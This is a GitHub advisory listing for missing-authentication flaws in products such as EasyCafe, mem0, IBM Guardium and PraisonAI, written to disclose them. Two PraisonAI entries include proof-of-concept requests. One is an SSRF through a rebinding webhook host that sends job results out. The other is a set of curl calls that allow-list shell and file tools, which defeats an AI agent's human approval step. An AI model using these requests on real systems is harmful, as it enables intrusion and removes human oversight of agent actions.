Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

5051 vulnerabilities reference this CWE, most recent first.

GHSA-4W43-V393-PX48

Vulnerability from github – Published: 2025-07-16 21:30 – Updated: 2025-07-16 21:30
VLAI
Details

A remote file disclosure vulnerability exists in EasyCafe Server 2.2.14, exploitable by unauthenticated remote attackers via TCP port 831. The server listens for a custom protocol where opcode 0x43 can be used to request arbitrary files by absolute path. If the file exists and is accessible, its content is returned without authentication. This flaw allows attackers to retrieve sensitive files such as system configuration, password files, or application data.

Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-34119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-16T21:15:26Z",
    "severity": "HIGH"
  },
  "details": "A remote file disclosure vulnerability exists in EasyCafe Server 2.2.14, exploitable by unauthenticated remote attackers via TCP port 831. The server listens for a custom protocol where opcode 0x43 can be used to request arbitrary files by absolute path. If the file exists and is accessible, its content is returned without authentication. This flaw allows attackers to retrieve sensitive files such as system configuration, password files, or application data.",
  "id": "GHSA-4w43-v393-px48",
  "modified": "2025-07-16T21:30:36Z",
  "published": "2025-07-16T21:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34119"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/39102"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/easy-cafe-server-remote-file-disclosure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4W49-GWV8-FPJG

Vulnerability from github – Published: 2026-10-08 21:57 – Updated: 2026-10-08 21:57
VLAI
Summary
PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF
Details

Summary

PraisonAI's Async Jobs API enables its API-key middleware only when PRAISONAI_JOBS_API_KEY is set, so by default every endpoint is unauthenticated. An unauthenticated POST /api/v1/runs accepts an attacker-controlled webhook_url; on job completion the server POSTs the job payload to it via httpx. The webhook_url has an SSRF validator (gethostbyname + private-IP check), but it validates at request time while httpx re-resolves at connection time — a DNS-rebinding TOCTOU that reaches internal services. Runtime-confirmed as an unauthenticated, blind SSRF (the internal canary received the POST; the internal response is not returned to the attacker). Severity Medium.

Details

Affected component

  • Package: praisonai 4.6.63. Files: src/praisonai/praisonai/jobs/server.py, jobs/router.py, jobs/executor.py, jobs/models.py.

Vulnerable code / root cause

Path: src/praisonai/praisonai/jobs/server.py

Function: create_app

Snippet:

jobs_api_key = os.environ.get("PRAISONAI_JOBS_API_KEY")
# ...
if jobs_api_key:
    app.add_middleware(JobsAPIKeyMiddleware)   # auth ONLY when env var is set

Issue: with the env var unset (default), no auth middleware is added → all endpoints unauthenticated. Default bind is 127.0.0.1.

Path: src/praisonai/praisonai/jobs/router.py

Function: submit_job

Snippet:

@router.post("", response_model=JobSubmitResponse, status_code=202)
async def submit_job(request, response, body: JobSubmitRequest, ...):
    # no auth dependency; body.webhook_url is attacker-controlled
    job = Job(prompt=body.prompt, webhook_url=body.webhook_url, ...)
    await executor.submit(job)

Issue: attacker-controlled webhook_url flows into the job with no authentication on the endpoint.

Path: src/praisonai/praisonai/jobs/models.py (validator) and src/praisonai/praisonai/jobs/executor.py (sink)

Function: validate_webhook_url → _send_webhook

Snippet:

# models.py validate_webhook_url (CHECK time)
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private or ...:
    raise ValueError("Webhook URL resolves to a private or restricted network address")

# executor.py _send_webhook (CONNECT time, re-resolves, no pinning)
async with httpx.AsyncClient(timeout=30.0) as client:
    response = await client.post(job.webhook_url, json=payload, ...)

Issue: the validator resolves the hostname at validation time but does not pin the IP for the httpx.post connection → DNS rebinding (independent resolution at check vs connect) bypasses it and reaches internal services.

Attack flow

  1. Operator runs the Jobs API without PRAISONAI_JOBS_API_KEY (default → unauth).
  2. Attacker POST /api/v1/runs with webhook_url = a rebinding domain.
  3. The validator(s) see a public IP (pass); on completion httpx.post re-resolves to an internal IP and connects → SSRF to internal.

Why existing protection is bypassed

Auth is opt-in (only when the env var is set). The webhook_url validator resolves at check time but does not pin the IP for the connection → DNS-rebinding TOCTOU. (Correction to an earlier static note: the guard exists but is bypassable.)

Security boundary

Unauthenticated network peer → server-side request to internal services (Scope: Changed). Default bind 127.0.0.1 limits remote reach unless the operator binds non-loopback.

Proof of Concept

Environment

Real Jobs API (python -m praisonai.jobs.server, no API key) in a local runtime (127.0.0.1:18085), resolver pointed at the controlled rebinding DNS, internal canary Docker-internal only. Runnable assets: PraisonAI-Runtime-Repro\runtime-files\ (docker-compose.jobs.yml).

Steps to reproduce

  1. PRAI-04-01-Jobs-Submit-NoAuth: POST /api/v1/runs {"prompt":"hello"} → 202 (no auth).
  2. PRAI-04-02-Jobs-Webhook-SSRF-Blind: POST /api/v1/runs {"prompt":"hello","webhook_url":"http://rebind.lab:8081/secret"} → 202.

Expected result

Unauthenticated job submission should be rejected; the webhook SSRF guard should prevent reaching internal services regardless of DNS timing.

Impact

Unauthenticated job submission (LLM cost abuse); SSRF to internal services (blind, DNS-rebinding); exfiltration of the job result to an attacker-controlled webhook.

Suggested remediation

  • Authenticate the Jobs API by default (auto-generate a token / fail closed when binding non-loopback), like the gateway.
  • For webhook_url: resolve once, reject private/loopback/CGNAT/metadata, then pin and connect to the validated IP; disable redirects.
Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-60091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306",
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T21:57:57Z",
    "nvd_published_at": "2026-07-15T14:18:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s Async Jobs API enables its API-key middleware **only when `PRAISONAI_JOBS_API_KEY` is set**, so by default every endpoint is unauthenticated. An unauthenticated `POST /api/v1/runs` accepts an attacker-controlled `webhook_url`; on job completion the server POSTs the job payload to it via `httpx`. The `webhook_url` has an SSRF validator (`gethostbyname` + private-IP check), but it validates at request time while `httpx` re-resolves at connection time \u2014 a DNS-rebinding TOCTOU that reaches internal services. Runtime-confirmed as an **unauthenticated, blind** SSRF (the internal canary received the POST; the internal response is not returned to the attacker). Severity Medium.\n\n## Details\n\n### Affected component\n- Package: `praisonai` 4.6.63. Files: `src/praisonai/praisonai/jobs/server.py`, `jobs/router.py`, `jobs/executor.py`, `jobs/models.py`.\n\n### Vulnerable code / root cause\n\nPath:\n`src/praisonai/praisonai/jobs/server.py`\n\nFunction:\n`create_app`\n\nSnippet:\n```python\njobs_api_key = os.environ.get(\"PRAISONAI_JOBS_API_KEY\")\n# ...\nif jobs_api_key:\n    app.add_middleware(JobsAPIKeyMiddleware)   # auth ONLY when env var is set\n```\nIssue: with the env var unset (default), no auth middleware is added \u2192 all endpoints unauthenticated. Default bind is `127.0.0.1`.\n\nPath:\n`src/praisonai/praisonai/jobs/router.py`\n\nFunction:\n`submit_job`\n\nSnippet:\n```python\n@router.post(\"\", response_model=JobSubmitResponse, status_code=202)\nasync def submit_job(request, response, body: JobSubmitRequest, ...):\n    # no auth dependency; body.webhook_url is attacker-controlled\n    job = Job(prompt=body.prompt, webhook_url=body.webhook_url, ...)\n    await executor.submit(job)\n```\nIssue: attacker-controlled `webhook_url` flows into the job with no authentication on the endpoint.\n\nPath:\n`src/praisonai/praisonai/jobs/models.py` (validator) and `src/praisonai/praisonai/jobs/executor.py` (sink)\n\nFunction:\n`validate_webhook_url` \u2192 `_send_webhook`\n\nSnippet:\n```python\n# models.py validate_webhook_url (CHECK time)\nip = socket.gethostbyname(hostname)\nif ipaddress.ip_address(ip).is_private or ...:\n    raise ValueError(\"Webhook URL resolves to a private or restricted network address\")\n\n# executor.py _send_webhook (CONNECT time, re-resolves, no pinning)\nasync with httpx.AsyncClient(timeout=30.0) as client:\n    response = await client.post(job.webhook_url, json=payload, ...)\n```\nIssue: the validator resolves the hostname at validation time but does not pin the IP for the `httpx.post` connection \u2192 DNS rebinding (independent resolution at check vs connect) bypasses it and reaches internal services.\n\n### Attack flow\n1. Operator runs the Jobs API without `PRAISONAI_JOBS_API_KEY` (default \u2192 unauth).\n2. Attacker `POST /api/v1/runs` with `webhook_url` = a rebinding domain.\n3. The validator(s) see a public IP (pass); on completion `httpx.post` re-resolves to an internal IP and connects \u2192 SSRF to internal.\n\n### Why existing protection is bypassed\nAuth is opt-in (only when the env var is set). The `webhook_url` validator resolves at check time but does not pin the IP for the connection \u2192 DNS-rebinding TOCTOU. (Correction to an earlier static note: the guard exists but is bypassable.)\n\n### Security boundary\nUnauthenticated network peer \u2192 server-side request to internal services (Scope: Changed). Default bind `127.0.0.1` limits remote reach unless the operator binds non-loopback.\n\n## Proof of Concept\n\n### Environment\nReal Jobs API (`python -m praisonai.jobs.server`, no API key) in a local runtime (`127.0.0.1:18085`), resolver pointed at the controlled rebinding DNS, internal canary Docker-internal only. Runnable assets: `PraisonAI-Runtime-Repro\\runtime-files\\` (`docker-compose.jobs.yml`).\n\n### Steps to reproduce\n1. `PRAI-04-01-Jobs-Submit-NoAuth`: `POST /api/v1/runs {\"prompt\":\"hello\"}` \u2192 `202` (no auth).\n2. `PRAI-04-02-Jobs-Webhook-SSRF-Blind`: `POST /api/v1/runs {\"prompt\":\"hello\",\"webhook_url\":\"http://rebind.lab:8081/secret\"}` \u2192 `202`.\n\n### Expected result\nUnauthenticated job submission should be rejected; the webhook SSRF guard should prevent reaching internal services regardless of DNS timing.\n\n## Impact\nUnauthenticated job submission (LLM cost abuse); SSRF to internal services (blind, DNS-rebinding); exfiltration of the job result to an attacker-controlled webhook.\n\n## Suggested remediation\n- Authenticate the Jobs API by default (auto-generate a token / fail closed when binding non-loopback), like the gateway.\n- For `webhook_url`: resolve once, reject private/loopback/CGNAT/metadata, then pin and connect to the validated IP; disable redirects.",
  "id": "GHSA-4w49-gwv8-fpjg",
  "modified": "2026-10-08T21:57:57Z",
  "published": "2026-10-08T21:57:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4w49-gwv8-fpjg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60091"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62175"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-unauthenticated-ssrf-via-webhook-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF"
}

GHSA-4W56-V3GV-MF6C

Vulnerability from github – Published: 2025-12-19 03:31 – Updated: 2025-12-19 03:31
VLAI
Details

Successful exploitation of the vulnerability could allow an attacker with local network access to send a specially crafted URL to access certain administration functions without login credentials.

Severity
8.8 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-52692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-19T02:16:05Z",
    "severity": "HIGH"
  },
  "details": "Successful exploitation of the vulnerability could allow an attacker with local network access to send a specially crafted URL to access certain administration functions without login credentials.",
  "id": "GHSA-4w56-v3gv-mf6c",
  "modified": "2025-12-19T03:31:18Z",
  "published": "2025-12-19T03:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52692"
    },
    {
      "type": "WEB",
      "url": "https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-118"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4W6C-4HQ9-Q3FR

Vulnerability from github – Published: 2026-10-09 00:31 – Updated: 2026-10-09 00:31
VLAI
Details

IBM Guardium Data Protection 12.2, and 12.2.2 could allow a remote attacker to execute arbitrary management operations due to missing authentication for critical function.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-84249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-08T22:17:34Z",
    "severity": "CRITICAL"
  },
  "details": "IBM Guardium Data Protection 12.2, and 12.2.2 could allow a remote attacker to execute arbitrary management operations due to missing authentication for critical function.",
  "id": "GHSA-4w6c-4hq9-q3fr",
  "modified": "2026-10-09T00:31:47Z",
  "published": "2026-10-09T00:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84249"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7288036"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4W6C-GFX3-VGHV

Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-13 18:30
VLAI
Details

The mem0 1.0.0 server lacks authentication and authorization controls for its memory deletion API endpoint (DELETE /memories/{memory_id}). The endpoint allows unauthenticated users to delete arbitrary memory records without verifying their identity or permissions. A remote attacker can exploit this by sending unauthenticated DELETE requests to remove any memory entry from the database, leading to unauthorized data loss and potential denial of service.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-31244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T18:16:52Z",
    "severity": "MODERATE"
  },
  "details": "The mem0 1.0.0 server lacks authentication and authorization controls for its memory deletion API endpoint (DELETE /memories/{memory_id}). The endpoint allows unauthenticated users to delete arbitrary memory records without verifying their identity or permissions. A remote attacker can exploit this by sending unauthenticated DELETE requests to remove any memory entry from the database, leading to unauthorized data loss and potential denial of service.",
  "id": "GHSA-4w6c-gfx3-vghv",
  "modified": "2026-05-13T18:30:46Z",
  "published": "2026-05-12T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31244"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mem0ai/mem0"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/CVE-2026-31244-35d1e1393188818b8039c50adc75996c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4W9W-PQWX-PFQR

Vulnerability from github – Published: 2025-11-15 00:30 – Updated: 2025-11-15 00:30
VLAI
Details

PLANEX CS-QP50F-ING2 smart cameras expose a configuration backup interface over HTTP that does not require authentication. A remote, unauthenticated attacker can directly retrieve a compressed configuration backup file from the device. The backup contains sensitive configuration information, including credentials, allowing an attacker to obtain administrative access to the camera and compromise the confidentiality of the monitored environment.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-4468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-14T23:15:42Z",
    "severity": "HIGH"
  },
  "details": "PLANEX CS-QP50F-ING2 smart cameras expose a configuration backup interface over HTTP that does not require authentication. A remote, unauthenticated attacker can directly retrieve a compressed configuration backup file from the device. The backup contains sensitive configuration information, including credentials, allowing an attacker to obtain administrative access to the camera and compromise the confidentiality of the monitored environment.",
  "id": "GHSA-4w9w-pqwx-pfqr",
  "modified": "2025-11-15T00:30:26Z",
  "published": "2025-11-15T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4468"
    },
    {
      "type": "WEB",
      "url": "https://cxsecurity.com/issue/WLB-2021010050"
    },
    {
      "type": "WEB",
      "url": "https://packetstorm.news/files/id/160805"
    },
    {
      "type": "WEB",
      "url": "https://www.planex.co.jp/products/cs-qp50f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/planex-cs-qp50f-ing2-smart-camera-remote-configuration-disclosure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4WCX-J3G3-FCPV

Vulnerability from github – Published: 2026-10-01 21:32 – Updated: 2026-10-01 21:32
VLAI
Details

Podgrab contains a missing authentication vulnerability in which the /ws WebSocket route is registered on the root gin engine instead of the BasicAuth-protected router group, allowing unauthenticated network clients to connect even when PASSWORD is configured. Attackers can join the allConnections set, capture PlayerExists broadcasts containing client-supplied player identifiers, and replay them in a RegisterPlayer message to hijack queue payloads intended for authenticated users, exposing episode IDs, titles, and server-side file paths while potentially disrupting legitimate playback.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-104058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T19:17:19Z",
    "severity": "MODERATE"
  },
  "details": "Podgrab contains a missing authentication vulnerability in which the /ws WebSocket route is registered on the root gin engine instead of the BasicAuth-protected router group, allowing unauthenticated network clients to connect even when PASSWORD is configured. Attackers can join the allConnections set, capture PlayerExists broadcasts containing client-supplied player identifiers, and replay them in a RegisterPlayer message to hijack queue payloads intended for authenticated users, exposing episode IDs, titles, and server-side file paths while potentially disrupting legitimate playback.",
  "id": "GHSA-4wcx-j3g3-fcpv",
  "modified": "2026-10-01T21:32:50Z",
  "published": "2026-10-01T21:32:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104058"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mansurmavlankulov/022bc672583687ccb34dcf4cb31b6188"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/podgrab-missing-authentication-on-websocket-ws-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4WPH-9VRM-6V3W

Vulnerability from github – Published: 2022-11-16 19:00 – Updated: 2024-10-26 18:41
VLAI
Summary
Rdiffweb vulnerable to Missing Authentication for Critical Function
Details

Missing Authentication for Critical Function in GitHub repository ikus060/rdiffweb prior to 2.5.0a6.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rdiffweb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.0a6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-4018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-22T00:18:15Z",
    "nvd_published_at": "2022-11-16T13:15:00Z",
    "severity": "LOW"
  },
  "details": "Missing Authentication for Critical Function in GitHub repository ikus060/rdiffweb prior to 2.5.0a6.",
  "id": "GHSA-4wph-9vrm-6v3w",
  "modified": "2024-10-26T18:41:06Z",
  "published": "2022-11-16T19:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4018"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ikus060/rdiffweb/commit/f2a32f2a9f3fb8be1a9432ac3d81d3aacdb13095"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ikus060/rdiffweb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/rdiffweb/PYSEC-2022-43001.yaml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/5340c2f6-0252-40f6-8929-cca5d64958a5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rdiffweb vulnerable to Missing Authentication for Critical Function"
}

GHSA-4WQG-2GVP-C2C4

Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2023-03-03 18:30
VLAI
Details

A vulnerability in the Virtual Network Computing (VNC) console implementation of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an unauthenticated, remote attacker to access the VNC console session of an administrative user on an affected device. The vulnerability is due to an insufficient authentication mechanism used to establish a VNC session. An attacker could exploit this vulnerability by intercepting an administrator VNC session request prior to login. A successful exploit could allow the attacker to watch the administrator console session or interact with it, allowing admin access to the affected device.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-1895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-07T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the Virtual Network Computing (VNC) console implementation of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an unauthenticated, remote attacker to access the VNC console session of an administrative user on an affected device. The vulnerability is due to an insufficient authentication mechanism used to establish a VNC session. An attacker could exploit this vulnerability by intercepting an administrator VNC session request prior to login. A successful exploit could allow the attacker to watch the administrator console session or interact with it, allowing admin access to the affected device.",
  "id": "GHSA-4wqg-2gvp-c2c4",
  "modified": "2023-03-03T18:30:27Z",
  "published": "2022-05-24T16:52:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1895"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190807-nfvis-vnc-authbypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4WR3-F4P3-5WJH

Vulnerability from github – Published: 2026-04-10 19:24 – Updated: 2026-04-10 19:24
VLAI
Summary
PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
Details

Summary

The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.

Details

The vulnerability arises from the interaction of three components:

1. Authentication bypass in default config

_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:

# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
    if not self.config.auth_token:
        return None  # No auth configured → allow everything

GatewayConfig defaults auth_token to None (config.py:61):

# config.py:61
auth_token: Optional[str] = None

2. Unrestricted allowlist modification

The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:

# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
    return auth_err
# ...
if request.method == "POST":
    _approval_mgr.allowlist.add(tool_name)  # No validation on tool_name
    return JSONResponse({"added": tool_name})

There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.

3. Auto-approval fast path

When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):

# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
    future.set_result(Resolution(approved=True, reason="allow-always"))
    return ("auto", future)

The tool executes immediately without any human review.

Complete data flow: 1. Attacker POSTs {"tool_name": "shell_exec"} to /api/approval/allow-list 2. _check_auth() returns None (no auth token configured) 3. _approval_mgr.allowlist.add("shell_exec") adds to the PermissionAllowlist set 4. Agent later calls shell_exec → GatewayApprovalBackend.request_approval() → ExecApprovalManager.register() 5. register() hits the fast path: "shell_exec" in self.allowlist → True 6. Returns Resolution(approved=True) — no human review occurs 7. Agent executes the dangerous tool

PoC

# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}

# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}

# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}

# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}

# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.

Impact

  • Bypasses human-in-the-loop safety controls: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process.
  • Enables arbitrary agent tool execution: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations.
  • Persistent within process: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications.
